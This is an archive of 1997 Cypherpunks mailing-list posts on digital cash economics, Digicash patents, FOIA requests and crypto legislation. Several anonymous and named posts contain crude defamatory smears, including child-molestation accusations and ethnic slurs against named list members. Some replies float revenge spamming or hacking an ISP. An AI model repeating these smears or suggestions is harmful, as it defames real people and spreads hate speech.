: I think this is an excellent idea, I`ll call or mail them in a few days 
: to find out their pricing structure.

30 Guilders a month (approx 17 USD a month)

you get 5mb for your homepage.
 
--
 -aj-





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 6 May 1997 10:30:44 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
Message-ID: <v02140b07af943b3689c9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>> When one combines the transactional economic advantages of DBC: no customer
>> accounts, statement generation, little or no need for dispute resolution
>> and the economies of using the Net for settlement, with the still
>> considerable marketing costs, the likely differential between DBC and
>> CC/ACH is closer to one order of magnitude at best.
>
>Again, I still hold out for three or four.
>
>> This is still
>> considerable, however, and if properly branded and marketed could
>> significantly displace current competition, for lower value transactions.
>> The overhead of CC discounts is keenly watched by merchants.  If a trusted
>> DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
>> would get noticed quickly.
>
>Agreed. However, when it happens, it'll probably be more significant than
>that. I think removing 3 or 4 extra zeroes from the status quo is probably
>what people should try to do when developing this stuff. I think that the
>technology offers us at least that much slack, and probably more.
>
>Remember, it *is* supposed to change the world. :-).

If I grant that you're right that DBCs will be 3-4 orders of magnitude
cheaper than the book-entry approaches, and I'm ready yet, there is still
the issue of whether such savings can be quickly passed on to the merchant
and consumer, and thus spark this revoltion.

Consider this, if a DBC-based system were to garner 3% (about what it might
take to get noticed by the consumer, retail and business markets) of the
GDP's $4 trillion in transactions, or about $120 billion, and the
transaction fees were $0.0025, this would generate about $300 million in
fees.  This is about what Western Union International generates in fees, a
very respectable sized business.  But how much marketing and branding
expenditures would it take to get there?  All financial products which
attempted to reach a broad market and have a significant impact have
required, in the past, significant up-front marketing expenses (VISA
succeeded because BankAmericard spent in the $10s million per year range).
Unless the Net will enable a 3-4 orders of magnitude reduction in such
expenses, amounting to an historic bootstrap, it is difficult to see how
this will occur without a white knight.

A similar situation is occuring in cellular.  Prices are plummeting because
many new companies are building out competitive PCS networks and forward
pricing their services to gain market share and economies of scale.  These
new players have deep pockets (or are backed by those with deep pockets).
To wrench away the bank and credit card francshise from the established
players may require similar sized investments.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        "I know not what instruments others may use,
         but as for me, give me Ecache or give me debt."






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 6 May 1997 01:31:13 +0800
To: cypherpunks@toad.com
Subject: Re: Firewalls
Message-ID: <199705051712.TAA17277@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sun, 4 May 1997
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Subject: Re: Firewalls
Sender: owner-cypherpunks@cyberpass.net
Reply-To: Graham-John Bullers <real@freenet.edmonton.ab.ca>

On Sun, 4 May 1997, Anonymous wrote:

Vulis does you wife no you write this?

> Timmy Mayo the self-admitted child molester 
> possesses a rudimentary dick less than one 
> inch long, half the size of Graham-John Bullers' 
> clitoris, that barely makes a fistful. Thereby 
> hangs the root of this Jew-hating sissy's sick 
> fixation on little boys and Usenet forgeries.
> 
>          \|||/
>          (o o)
>      -ooO-(_)-Ooo- Timmy Mayo
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Modulator of alt.2600.modulated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 08:28:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <199705041819.LAA00411@crypt.hfinney.com>
Message-ID: <v0302096eaf9414e15d5a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:19 pm -0400 on 5/4/97, Hal Finney wrote:

> It is hard to understand why a system where it is impossible to track
> payments (Chaumian anonymity) is cheaper than one where it is possible
> to do so, but we choose not to.  If avoiding tracking payments is cheaper
> than tracking them, why wouldn't participants just not bother to track
> them even when they theoretically could?

I believe Greg Broiles and others have answered this sufficiently for now.

I'll vamp a little by saying, of course, that there's no way to tell until
the two methods of digital cash are actually measured. However, I'd, um,
bank, on the Chaumian variety, if the patents were ever unencumbered by
Digicash's unfortunate business model.

I'll also comment on the "information exaust" issue by saying that I agree
with Hal's hypothesis that one of the reasons that the information is there
is because of the non-repudiation requirements of government enforcement.
It behooves marketers to then leverage the cost distortion of the finance
department's data collection engine by adding in, at the margin, a little
additional data for processing. On the net, there will be no requirement
for this. The only people who need to keep books will be the meatspace
net-affiliated banks. The only books kept in putting money on the net or
taking it off, would be an aggregate number at the trustee, and the
withdrawls and deposits of people taking money on and off the net from
their respective personal and business bank accounts. The underwriter and
every transaction on the net, particularly those for information
(everything from music to surgery), do not need any transaction information
storage. A lot of incentive to keep money on the net, over time. Also, the
smaller the transaction size, the more important freedom from transaction
storage becomes. Again, the idea of micromoney "mitochondria", a
micropayment-settlement system for various internet resources, like SMTP,
or even bandwidth, comes to mind.


So, Tim and Ray also have right idea when they talk about how most small
businesses don't need all the information they're forced to collect by the
government for one reason or another. And, again, I claim that the net and
Moore's law creates *dis*economies of scale, probably to the microbusiness,
bot-sized, level, someday. And, the smaller the business entity, the less
information it really needs to operate. As you subdivide a market, the more
you trend towards perfect competition. (Of course, I mean "perfect
competition" in the commodity-price use of the phrase, where one soybean is
as good as any other. Fungible, in other words.) Branded soybeans are an
oxymoron, which is why you can buy and sell futures in them.


Finally, with the most abject apologies to the superior (with a brick, sir)
financial knowlege of Mr. Chrispin, the very best piece of information
about an efficient market for something is its most recent price.

No, I don't think this represents the end of the "marketing concept" as a
business model, but certainly when transaction cycles can be measured in
the microsecond range, a swarm of autonomous entities will probably do a
better job of fulfilling consumer wants than a multi-month top-down market
analysis by an MBA.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Tue, 6 May 1997 13:31:09 +0800
To: sunder@brainlink.com
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705060249.TAA09248@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Mr. Arachelian writes:
> Well, here's a thought.  Let's pool some cash together and go off and 
> spam cyberpromo from the inside.  Let's get an account there, turn it 
> around and spam everyone and their mother at cyberpromo and their 
> respective subdomains.   Wouldn't that be sweet revenge?

If vengance is your concern, this is a good idea. Neither vengance nor
righteousness is my concern, however.

Judgementally speaking, if you spam, you may not continue to condemn
spammers and be consistent.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

"If you are distressed by anything external, the pain is not due to the
thing itself, but to your estimate of it; and this you have the power
to revoke at any moment."                      - Marcus Aurelius, 121-180







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 6 May 1997 08:34:36 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
In-Reply-To: <v02140b01af925860a90b@[10.0.2.15]>
Message-ID: <v0302096faf941f7ddba2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:23 pm -0400 on 5/4/97, Steve Schear wrote:


> Although I stongly share your overall beliefs in the superiority of digital
> bearer certificates (DBC), I am much less certain about the intrinsic
> financial cost differentials.

Only time, and actual data, will tell, as I've said elsewhere.

> Let's first consider credit cards (CCs). Consumers using CCs, if they
> choose their bank/agent carefully and settle their monthly statements in
> full and promptly, pay nothing (directly) for the priviledge of using the
> cards.  One can argue that merchants build the cost of their CC transaction
> clearance costs into their price structure and therefore every patron,
> whether using cash or CC, pay for the costs of CC usage (few merchants
> offer cash discounts).  Most walk-in retail merchants, in good standing,
> pay about 2% in discount (fees).  On-line and mail order merchants pay
> about 3% as do those with a higher rate of chargebacks and/or in grey
> businesses (e.g., on-line gaming and adult entertainment).  These fees
> represent the costs of operating the CC clearing system (MC, VISA, AMEX,
> etc.) the bank's overhead and profit.

So, you've refuted that one for me. :-).

> Now let's look at Automatic Clearing House (ACH).

Funny you should mention that. It's one of my ideas for an e$Lab company.

I claim that ACH transactions can be driven to 2.5 cents with something
like the FSTC electronic check project when it comes on line. And, that
once you have enough bank servers on the net operating as "deposit windows
on the information superhighway", Metcalfe's law kicks in, and those
servers can clear against each other directly on the net, bypassing the ACH
system altogether. Probably bringing the price of clearing an internet
check to .0025 cents, which would leave the ACH record format as the Roman
wagon-wheel rut (which begat the standard european rail guage) of the
information age, and giving us the three or four orders of magnitude I was
talking about.

> It is not clear that the back office costs of running a mint are any
> cheaper than a book-entry system (e.g., control and auditing requirements
> to meet Generally Accepted Accounting Principles and establish/maintain
> trust)

Funny you should mention that one too. :-). The mint itself, being run by
an underwriter, probably doesn't need anything else in the way of record
keeping but a list of expired certificates, certificate issues, and keys.
The only place GAAP would really apply would be the trustee, who needs GAAP
anyway as a requirement of the book-entry world it lives in. And,
fortunately, the system already accounts for things like ATM transactions
anyway, which is how I see digital cash collateral getting on and off the
net for the most part. No net accounting load at all, to my mind, except,
of course, from the long-phase, but temporary, increase caused over time as
the net becomes a better place to do business than meatspace. Again, at
some point, when on-net trustees can keep assets in digital bearer
certificates, GAAP may hold for some things, but probably not too much for
the collateral pool of digital bearer assets, because those can be checked
by some kind of ZKP, anyway, right? There's also Eric Hughes' encrypted
open books idea, which would probably follow GAAP, granted. Anyway, maybe
the data format for ATM systems would become another Roman axlewidth to
measure commerce by.


> and you still need the book-entry system to occassionally transfer
> value; to the extent that digital bearer certificates become accepted as
> legal tender costs should decline, but the regulatory issues increase.

It's hard for me to see the regulatory load increase in a transaction
clearing system collateralized entirely by digital bearer certificates.
They can be anonymously held, remember? :-).

> However, the ACH and CC system's prices reflect the substantial Fed and CC
> backbone cost and profit to run their private networks, and it is here that
> costs for on-line digital bearer certificate systems will have and edge for
> some time.

Exactly. See my points about wagonruts, above. :-).


> When one combines the transactional economic advantages of DBC: no customer
> accounts, statement generation, little or no need for dispute resolution
> and the economies of using the Net for settlement, with the still
> considerable marketing costs, the likely differential between DBC and
> CC/ACH is closer to one order of magnitude at best.

Again, I still hold out for three or four.

> This is still
> considerable, however, and if properly branded and marketed could
> significantly displace current competition, for lower value transactions.
> The overhead of CC discounts is keenly watched by merchants.  If a trusted
> DBC issuer/agent offered 1.0% fees (especially to on-line merchants) it
> would get noticed quickly.

Agreed. However, when it happens, it'll probably be more significant than
that. I think removing 3 or 4 extra zeroes from the status quo is probably
what people should try to do when developing this stuff. I think that the
technology offers us at least that much slack, and probably more.

Remember, it *is* supposed to change the world. :-).

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 6 May 1997 13:28:47 +0800
To: cypherpunks@toad.com
Subject: FOIA results
Message-ID: <3.0.1.32.19970505201927.00876a00@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



Got two FOIA things in the mail today:

1.	~ 200 pp of "LIST OF DUAL USE GOODS AND TECHNOLOGIES AND MUNITIONS LIST"
re my Wassenaar FOIA. It's much too long to type or scan. Am planning to
type the crypto and software relevant parts when I get some free time. This
looks like the document I was expecting.

2.	A letter from the NSA in response to my FOIA request re cypherpunks -
they want a check for close to $2400 before they'll do a search of their
records. I'm not sending them $2400. Am considering appealing their denial
of my fee waiver, and/or making a more carefully tailored request. I'll
probably scan this within the next few days.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 6 May 1997 12:38:13 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Insults about C2Net
In-Reply-To: <3.0.1.32.19970504232234.00a71af0@mail.teleport.com>
Message-ID: <3.0.1.32.19970505204654.00a86100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:45 AM 5/5/97 -0800, Tim May wrote:
>At 10:22 PM -0800 5/4/97, Alan Olsen wrote:
>
>>I really knew what specific actions caused people to have such a NASTY
>>opinion of C2net.  I have seen mistakes on their part, but nothing to
warrent
>>the kind and amount of venom I have seen from people.  Maybe I missed
>>something somewhere...  (Or is this one of those "people who disagree with
me
>>are <fill in insult here>"?)
>
>This is an easy one. The only continuing insults I see come from Vulis. No
>further explanation is needed.

I have seen the same attitude from Toto and Atilla, as well as a couple of
others.  It is not just Vulis.

>(One wonders why Vulis does not simply program one of his insultbots to
>spew out a daily insult.)

Don't give him ideas...

>I happen to believe C2Net overreacted to Vulis' slur about the quality of
>Stronghold, and I strongly, strongly believe that Sandy S. should not have
>censored the Vulis post while being an employee of C2Net (that is, he
>should have done one or more of the following: let it pass the way so many
>off the wall posts were passed, announce publically what he was doing at
>the very least, recuse himself from the decision due to conflict of
>interest, or, best of all, quit as censor).

I have my own problems with Sandy's actions in that one.  If it had *JUST*
dealt with those things that could not be handled by filters (the spam and
the anon flames), then I would have not had a problem with that.  Instead the
censorship was arbitrary and pretty heavy handed.  I do not agree what
happened, but I resist using the kind of vitrol that others seem to think
neccisary.  I just cannot see the reason for such venom in this case.

>But the C2Net flap is behind us. The continuing claims that it was C2Net
>which instructed Gilmore to remove Vulis are incorrect--Gilmore actually
>receives his instructions from the Elders of Zion, relayed through the San
>Francisco representatives of the Bilderburgers.

I thought it was the Aluminum Bavariati in league with the Build-A-Burger
Conspiracy and the Parisian Metro Gnomes.

Judging by Vulis's posts in the past, I would not trust him for ANY
information.

Vulis uses insults and personal attacks to cause emotional pain to his
percived enemies.  An example of this are his posts about Bruce Baugh.  Vulis
made all sorts of unsavory claims about Bruce that he *KNEW* were unture.  He
did it because he knew that he could hurt Bruce by doing so.  (I know Bruce
very well.  Vulis was lying and it was vindictive.  None of what he said
about Bruce was true.)  What it did was drive Bruce off of the Cypherpunks
list.  I have seen similar incidents from him.  In my view he has a great
amount of negative reputation capitol.  I have a hard time understanding why
people like Toto seem to cut him so much slack.

>As for stores asking for personal info, this is unsurprising. Fortunately,
>one can always refuse to give it, or lie, or just shrug. No laws yet demand
>this information be given (except for sales of guns and other such
>almost-contraband). Stores seek information for marketing, for decisions on
>placement of new stores (which is why zip codes are sometimes asked for),
>etc.

They claim the information is for marketing.  My dislike of marketing people
makes me tempted to give them even more bogus info...  The temptation is
difficult at times.

>"Identity is just another credential in a negotiation."

"Welcome to the Global Village.  You are number six."

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---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 6 May 1997 13:26:02 +0800
To: cypherpunks@toad.com
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705051842.LAA21649@krypton.chromatic.com>
Message-ID: <19970505214347.40130@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, May 05, 1997 at 04:53:28PM -0700, Lucky Green wrote:
> On Mon, 5 May 1997, Ernest Hua wrote:
> > I don't completely like the first amendment argument because it is
> > solely based on claiming that software is, first and foremost,
> > expression.  In fact, software has mechanism and side effect of
> > mechanism.  If software were strictly expression, it is hard to
> > imagine how a multi-billion industry could have spawned from such an
> > inert practice.  Another example: one could argue that crafting an
> > grenade launcher is artistic expression, but surely few would consider
> > THAT argument when faced with such an "expressive" neighbor.
> 
> I concur. A citizen has the right to manufacture a grenade launcher under
> the Second Amendment (irrespective of what judges scared into submission
> by Roosevelt et al may have ruled), not the First. 

I have heard, from a knowledgable person, that the reason that the NRA
has not pressed a constitutional challenge is that their lawyers tell
them that the historical context clearly indicates that the second
amendment does *not* protect individual ownership of firearms, and
that a constitutional challenge would almost certainly lose.  Hence
the NRA resorts to lobbying.  That is, it is not a matter of 
Roosevelt scaring the judges, but a matter of the clear intent of the 
constitution. 

This made sense to me -- if the constitutional grounds were clear the
NRA could save a tremendous amount of money and trouble just by
letting the court rule on it -- Roosevelt is dead.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Tue, 6 May 1997 13:10:06 +0800
To: dave@kachina.jetcafe.org (Dave Hayes)
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060249.TAA09248@kachina.jetcafe.org>
Message-ID: <199705060254.VAA17328@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> 
> Mr. Arachelian writes:
> > Well, here's a thought.  Let's pool some cash together and go off and 
> > spam cyberpromo from the inside.  Let's get an account there, turn it 
> > around and spam everyone and their mother at cyberpromo and their 
> > respective subdomains.   Wouldn't that be sweet revenge?
> 
> If vengance is your concern, this is a good idea. Neither vengance nor
> righteousness is my concern, however.
> 
> Judgementally speaking, if you spam, you may not continue to condemn
> spammers and be consistent.

Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
and deletes all files there? Would it also be inconsistent, in your
view?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Tue, 6 May 1997 13:13:43 +0800
To: cypherpunks@algebra.com
Subject: Pro-Crypto Arguments
Message-ID: <3.0.1.32.19970505215953.00a90ea0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

The current line of argument in supporting crypto seems to fall into the
"software as speech" (ala First Amendment) or Crypto as munition (and
invoking the Second Amendment).  

I think of Crypto as "Freedom of Language".  

Imagine the uproar that would be caused if Jesse Helms (or one of his ilk)
tried to pass a law that all conversations over the net or phone lines had to
be in English.  (Or at least in a language understood by the cops.)  The
amount of uproar would be incredible.  The courts have already ruled against
this form of "language escrow".  Such rulings should apply to encrypted
communications as well.

Software is just the mechanism for the language of cryptography, it is not
the language itself.  Just as in spoken languages, special knowledge is
needed to understand the "ideas" being communicated.  The algorithm is (in
part) that language.  (But in this case, you are able to speak to only those
you intend, not to the world at large.)

Of course, the question is whether this line of reasoning will work under the
current regime.  Maybe, maybe not.  It seems a better argument than the ones
I have seen so far...  Depends on how far the deck has been stacked against
us.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM266uOQCP3v30CeZAQHU4wf9GePLzvloFC/zpM+uAmdzq+wCzASUt/vH
0GP4v9DwLTYtWDp4O/o/ietk1tej4G/d1h2owpdHsGT1qkUXWIG8XUjWsTPblPsa
0uS097K+fB7fP7+LUyrGWkaCwNMfqQ3gErhVfoRsQ6lJRhWE+6JiIcdgxC1OY7lg
kknM3//51Avbk+7CcVH+flyvL7uKWFHJdKpthiSSfKSg9nKJrLUQJxOQaK7xkpXH
4oFEKF1EApa2gFIPyTEM7Nd1Dp2PzcdNZrVHn2BmMP7eXeN4Jfkwoc31r95DPwpI
L2uWEeRpNEs61qNtM8/gkKMXk5fP/vLl8ujDHaYXDOP6dA3CnSbGOA==
=aN2p
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Tue, 6 May 1997 14:01:32 +0800
To: Alan Olsen <cypherpunks@algebra.com
Subject: Re: Pro-Crypto Arguments
Message-ID: <3.0.32.19970505224344.006b7a04@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Such was the thrust of my question posed to the Senate hearings via netcast:
"Is secret speed protected speech"

For if not, then it is a simple matter by extension to require that all
communications be in the lingua franca of the listener, obviously
preposterous.

The respondent seemed to think that 'secret speech' is protected, but 
obviously there are counterarguments.

At 09:59 PM 5/5/97 -0700, Alan Olsen wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>The current line of argument in supporting crypto seems to fall into the
>"software as speech" (ala First Amendment) or Crypto as munition (and
>invoking the Second Amendment).  
>
>I think of Crypto as "Freedom of Language".  
>
>Imagine the uproar that would be caused if Jesse Helms (or one of his ilk)
>tried to pass a law that all conversations over the net or phone lines had to
>be in English.  (Or at least in a language understood by the cops.)  The
>amount of uproar would be incredible.  The courts have already ruled against
>this form of "language escrow".  Such rulings should apply to encrypted
>communications as well.
>
>Software is just the mechanism for the language of cryptography, it is not
>the language itself.  Just as in spoken languages, special knowledge is
>needed to understand the "ideas" being communicated.  The algorithm is (in
>part) that language.  (But in this case, you are able to speak to only those
>you intend, not to the world at large.)
>
>Of course, the question is whether this line of reasoning will work under the
>current regime.  Maybe, maybe not.  It seems a better argument than the ones
>I have seen so far...  Depends on how far the deck has been stacked against
>us.
>
>-----BEGIN PGP SIGNATURE-----
>Version: 4.5
>
>iQEVAwUBM266uOQCP3v30CeZAQHU4wf9GePLzvloFC/zpM+uAmdzq+wCzASUt/vH
>0GP4v9DwLTYtWDp4O/o/ietk1tej4G/d1h2owpdHsGT1qkUXWIG8XUjWsTPblPsa
>0uS097K+fB7fP7+LUyrGWkaCwNMfqQ3gErhVfoRsQ6lJRhWE+6JiIcdgxC1OY7lg
>kknM3//51Avbk+7CcVH+flyvL7uKWFHJdKpthiSSfKSg9nKJrLUQJxOQaK7xkpXH
>4oFEKF1EApa2gFIPyTEM7Nd1Dp2PzcdNZrVHn2BmMP7eXeN4Jfkwoc31r95DPwpI
>L2uWEeRpNEs61qNtM8/gkKMXk5fP/vLl8ujDHaYXDOP6dA3CnSbGOA==
>=aN2p
>-----END PGP SIGNATURE-----
>
>---
>|            "Mi Tio es infermo, pero la carretera es verde!"            |
>|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
>| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
>|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
>|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@squirrel.owl.de>
Date: Tue, 6 May 1997 10:48:53 +0800
To: cypherpunks@toad.com
Subject: Re: Bypassing the Digicash Patents
Message-ID: <19970506013753.7943.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 4 May 1997, Dr.Dimitri Vulis KOTM wrote:
 
> As usual, Greg the C2Net shill writes total bullshit about things he
> knows nothing about.  Try paying cash at Radio Shack, and see if they
> ask for your name and address for their mailing list.  I guess Greg
> is not the type to buy anything at Radio Shack.  What a fitting
> employee for C2Net.

Not a problem Dr. Vulis, whenever I purchase items from Radio Shack,
I use your name and address and phone number.  I hope you don't mind
receiving extra catalogues.   It is after all, all in the good name of privacy 
and protecting my uncoloured identity.

VulvisMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 6 May 1997 07:56:11 +0800
To: cypherpunks@toad.com
Subject: Re: Rape, death and XS4ALL
In-Reply-To: <Pine.LNX.3.91.970504164841.304I-100000@fatmans.demon.co.uk>
Message-ID: <199705052338.BAA02697@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Bradley <paul@fatmans.demon.co.uk> wrote:

>Absolutely, besides which, even though I believe in the right of people 
>to be as bigotted and statist as they see fit, there are only so many 
>causes we can support and coming in on the side of XS4ALL knowing their 
>record seems ill advised to me. If they truly deserved our support they 
>would retain the pages whether they were legal or not.

  Funny, I didn't notice that *you* supported XS4ALL in the first place.

  Besides, you fail to understand that those who put up Radikal
mirrors didn't do it to support XS4ALL (mirroring just one of their
customers' pages doesn't help them much, eh?), but to fight for
free speech.

  Why don't you host that marijuana vendor's pages on your website?

   --Faktor 4





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 6 May 1997 15:27:31 +0800
To: cypherpunks@toad.com
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705060254.VAA17328@manifold.algebra.com>
Message-ID: <y8R06D21w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dave Hayes wrote:
> >
> > Mr. Arachelian writes:
> > > Well, here's a thought.  Let's pool some cash together and go off and
> > > spam cyberpromo from the inside.  Let's get an account there, turn it
> > > around and spam everyone and their mother at cyberpromo and their
> > > respective subdomains.   Wouldn't that be sweet revenge?
> >
> > If vengance is your concern, this is a good idea. Neither vengance nor
> > righteousness is my concern, however.
> >
> > Judgementally speaking, if you spam, you may not continue to condemn
> > spammers and be consistent.
>
> Let's say, what if instead of spamming Prof. Arachelian hacks Cyberpromo
> and deletes all files there? Would it also be inconsistent, in your
> view?

It certainly would be consistent with other terrorist acts perpetrated
by Armenian criminals off and on the net - such as the genocide of
the 2 million Moslems and Sephardic Jews in this century alone.

I am not surprised that Arachelian's employer, Earthweb, condones his
spamming.  They sound like a thoroughly corrupt and criminal organization,
since they even employ Arachelian as a network administrator.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Tue, 6 May 1997 15:30:09 +0800
To: cypherpunks@toad.com
Subject: PGP
Message-ID: <199705060714.DAA24306@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[retin] Mayflower styles his facial hair to look more 
like pubic hair.

      ,,,
 -ooO(o o)Ooo- Tim C[retin] Mayflower
      (_)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lee Tien <tien@well.com>
Date: Wed, 7 May 1997 22:19:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE
Message-ID: <v03007802af940ac0a7fc@[163.176.132.90]>
MIME-Version: 1.0
Content-Type: text/plain


Here's what Prof. Froomkin said about SAFE on another list:

>What I want to know about SAFE is this:
>
>1.  Will it in effect federalize  huge chunks of state criminal law once
>crypto is ubiquitous in telephones, email, garage-door openers etc.?
>Every state crime will now have a federal component...
>
>2.  Will the federal crypto-use-in-furtherance-of-a-state-crime be a
>separate predicate offense for civil (and criminal?) RICO?
>
>3.  What will the five year term for this offense  do to the
>plea-bargaining dynamic in every garden variety crime.
>
>Recall my hypothesis:  crypto will be seamless and ubiquitous in N years,
>where  N is not large.  Especially if SAFE passes and export controls are
>removed.
>
>On balance, I oppose SAFE.   It's not worth it.


[I wonder:  how does SAFE interact with IPSEC and arrangements like S/WAN?
This is not, I think, merely the "willful furtherance" provision.  The "law
enforcement" access provision may be ambiguous for keys that are not
"private"; my understanding of IPSEC is that the key is in the possession
of the machine and not the user.  I'm unclear whether users have 4th A.
standing to challenge law enforcement access to such keys; there are lots
of 4th A cases where a person has no privacy interest in information
because it's been disclosed to another person, or is in another person's
control.  Of course, I probably don't understand how IPSEC works, so
corrections are welcomed.]

Lee






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
